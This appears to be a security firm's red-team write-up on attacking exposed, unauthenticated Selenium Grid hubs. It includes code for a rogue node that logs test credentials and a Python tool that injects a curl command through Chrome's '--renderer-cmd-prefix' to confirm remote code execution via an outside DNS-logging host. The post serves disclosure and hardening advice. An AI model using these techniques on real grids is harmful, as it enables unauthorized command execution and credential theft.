Attacking QA platforms: Selenium Grid
Table of Contents
During the course of a Red Team exercise serveral QA assets where discovered. In particular the usage of the Selenium Grid platform without authentication caught the team’s attention.
The aim for this article is to explain how a QA platform exposed to the internet, Selenium Grid in this particular situation, can be used in a Red Team exercise.
Introduction
Selenium based platforms are mainly based on two components: a hub and several nodes. The hub is the main server which all the other machines (nodes) subscribe to in order to receive all the configuration needed for running a selenium session and performing automated tests. For executing the mentioned tests, each node instantiates browsers on demand using given parameters.
From a Red Team perspective an infrastructure of this characteristics is interesting for two mainly reasons:
-
If it is possible to subscribe to the Selenium Grid a new node controlled by the Red Team it could be used to obtain the test parameterizations. In certain cases such are test cases where a valid session is needed, it becomes likely to obtain credentials or other authentication methods.
-
Test environment setup
IP | RCE Vulnerable | |
---|---|---|
Selenium Hub | 192.168.1.1 | – |
Selenium Node | 192.168.1.2 | Yes |
Selenium Node | 192.168.1.3 | No |
Selenium Node | 192.168.1.4 | Yes |
Hub deployment
A selenium hub is instantiated on 192.168.1.1
.
java -jar selenium.jar -role hub
Node deployment
Three nodes are instantiated on 192.168.1.1, 192.168.1.2, 192.168.1.3
respectively. All nodes are subscribed to the previously created hub (192.168.1.1
).
Node setup example (192.168.1.2
):
java -Dwebdriver.gecko.driver="geckodriver" -Dwebdriver.chrome.driver="chromedriver" -jar selenium.jar -role webdriver -hub https://192.168.1.1:4444/grid/register -port 5566 -host 192.168.1.2
New node subscription
The Red Team subscribes a new node which they have power over in order to hijack request parameterizations.
Test run
launchTest.py) is written in order to perform the testing mimicking a real scenario. This script asks the hub for a test execution, the hub then delegates the realization of the test itself to one of the subscribed nodes who comply with the requirements specified on the desired_capabilities
attribute.
launchTest.py
#! /usr/bin/env python3.7 from selenium import webdriver from lxml import html import requests HUB_IP = "127.0.0.1" HUB_PORT = "4444" TARGET_IP = "192.168.1.1" TARGET_PORT = "8080" TARGET_URL = "/main.html" def request(driver): s = requests.Session() cookies = driver.get_cookies() for cookie in cookies: s.cookies.set(cookie['name'], cookie['value']) return s def login(): driver = webdriver.Remote(desired_capabilities=webdriver.DesiredCapabilities.FIREFOX,command_executor="https://"+HUB_IP+":"+HUB_PORT+"/wd/hub") driver.get("https://"+TARGET_IP+":"+TARGET_PORT+TARGET_URL) driver.find_element_by_id('username').send_keys("secretUser") driver.find_element_by_id('password').send_keys("secretPassword") driver.find_element_by_id('login').click() req = request(driver) login()
Obtaining test parameters
CustomRequestWrapper that extends from ServletRequestWrappingHttpRequest is created, this new class allows the body of a packet to be read more than once (by default the body part of a packet is a one time only read buffer).
CustomRequestWrapper.java
public class CustomRequestWrapper extends ServletRequestWrappingHttpRequest { private final String body; public CustomRequestWrapper(HttpServletRequest request) throws IOException { super(request); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = null; try { InputStream inputStream = request.getInputStream(); if (inputStream != null) { bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); char[] charBuffer = new char[128]; int bytesRead = -1; while ((bytesRead = bufferedReader.read(charBuffer)) > 0) { stringBuilder.append(charBuffer, 0, bytesRead); } } else { stringBuilder.append(""); } } catch (IOException ex) { throw ex; } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException ex) { throw ex; } } } body = stringBuilder.toString(); } public String getBody(){ return body; } @Override public InputStream consumeContentStream() { try { return new ByteArrayInputStream(body.getBytes()); } catch (Exception e) { throw new RuntimeException(e); } } }
CustomRequestWrapper on the WebDriverServlet class the body of every packet is parsed and written to a log file.
... ... CustomRequestWrapper req_wrapper = new CustomRequestWrapper(req); String body = req_wrapper.getBody(); if(!body.contains("capabilities")){ localDate = LocalDate.now(); String filename= LOG_FOLDER+localDate.format(dtf)+".log"; fw = new FileWriter(filename,true); if(body.contains("url")){ fw.write("n"); } fw.write(body+"n"); fw.close(); logger.info(body); } ... ...
Remote Code Execution
As said at the beginning of this article, it is indeed possible to execute commands on Google Chrome powered nodes. The command line argument --renderer-cmd-prefix
allows for the execution of a command previous to starting the browser. This command line argument belongs to Google Chrome browser capabilities and has nothing to do with the Selenium suite itself.
Following this events, the Red Team developed a tool that allows listing all the nodes subscribed to a hub as well as checking which ones are vulnerable to RCE. This tool can be obtained in Tarlogic’s github.
Tool basics
The tool receives the location of a selenium hub as well as the port it is deployed and gives the user two options:
-
Enumeration of all nodes subscribed to the hub.
-
Enumeration of all nodes subscribed to the hub and discovery of the vulnerable ones.
For checking for RCE the tool uses dns.requestbin.net
. request t onodeaddress.dnstoken.d.requestbin.net
from each node. If the DNS request for nodeaddress.dnstoken.d.requestbin.net
is performed the service receives it allowing the identification of which nodes performed the request.
seleniumInformer.py
#!/bin/python3.7 import requests import re import base64 import asyncio import websockets import json import time import threading import argparse NODE_REGEX = re.compile(r'id:s(https?://d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,6})') HUB_IP_ADDR="192.168.1.1" HUB_PORT="4444" REQUEST_TOKEN = '' REQUEST_DOMAIN='.d.requestbin.net' WEBSOCKET_URL = "ws://dns.requestbin.net:8080/dnsbin"; RESULT_SET = {} parser = argparse.ArgumentParser() parser.add_argument("-a","--addr", help="Hub ip address") parser.add_argument("-p","--port", help="Hub web panel port") parser.add_argument("-e","--enumerate",action="store_true", help="Just eumerate nodes on hub") args = parser.parse_args() if args.addr: HUB_IP_ADDR = args.addr if args.port: HUB_PORT = args.port if not args.enumerate: async def read_bytes_from_outside(): async with websockets.connect(WEBSOCKET_URL,close_timeout=3) as websocket: global REQUEST_TOKEN global RESULT_SET data = await websocket.recv() data = json.loads(data) REQUEST_TOKEN = data['data'] print("[+] Current session token is : " + REQUEST_TOKEN) try: while(websocket.open): message = await websocket.recv() message = json.loads(json.loads(message)['data']) node = message['content'] RESULT_SET[base64.b32decode(node.upper() + '=' * (-len(node) % 4)).decode('utf-8')]=message except: pass def thread_handler(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(read_bytes_from_outside()) loop.close() thread = threading.Thread(target = thread_handler, args='') thread.start() while len(REQUEST_TOKEN)<1: time.sleep(0.2) print("[+] Hub Location:",'https://'+HUB_IP_ADDR+':'+HUB_PORT) r = requests.get('https://'+HUB_IP_ADDR+':'+HUB_PORT+'/grid/console') NodesOnHub = NODE_REGEX.findall(r.content.decode("utf-8")) if not args.enumerate: for node in NodesOnHub: b32_node = ""+base64.b32encode(str.encode(node)).decode('utf-8').replace('=','').lower() payload = "curl "+b32_node+"."+REQUEST_TOKEN+REQUEST_DOMAIN rce_test_data = '''{ "desiredCapabilities": { "browserName":"chrome", "goog:chromeOptions": { "args":["--no-sandbox","--renderer-cmd-prefix='''+payload+''' --"] } } }''' r = requests.post(url = 'https://'+HUB_IP_ADDR+':'+HUB_PORT+'/wd/hub/session', headers={'Content-Type':'text/plain;charset=UTF-8'}, data = rce_test_data) thread.join() print("[+] Nodes with RCE: ") for node in NodesOnHub: if node in RESULT_SET: print(" [3[;1;32m+3[;39;49m] ",node,"3[;1;32mPWNEABLE!3[;39;49m") else: print(" [3[;1;31m-3[;39;49m] ",node,"3[;1;31mNOT PWNEABLE!3[;39;49m") else: print("[+] Nodes Subscribed to HUB: ") for node in NodesOnHub: print(" [*] ",node)
Tool 101
-e,–enumerate trigger the tool lists every node subscribed to the supplied hub while, without it, enumerates the nodes and checks for Remote Code Execution.
Node listing
-e,–enumerate)
Node listing and RCE checking
Listing all nodes and checking for RCE (without -e,–enumerate flags).
Conclusions
Long story short, Selenium Grid is a powerful tool in a application tester’s toolkit but, as a wise man once said “With great power comes great responsibility” therefore it must be used carefully in a controlled environment. The absence of authentication methods between client and server lets any external agent to interact with both services allowing for attacks such are the ones described in this article.
Authentication proxies, firewall rules for filtering incoming traffic and good hardening practices are key elements for minimizing risks when using this kind of frameworks.
References
[1] https://chromium.googlesource.com/chromium/src/+/lkgr/docs/gpu/debugging_gpu_related_code.md
[3] https://peter.sh/experiments/chromium-command-line-switches/
Discover our work and cybersecurity services at www.tarlogic.com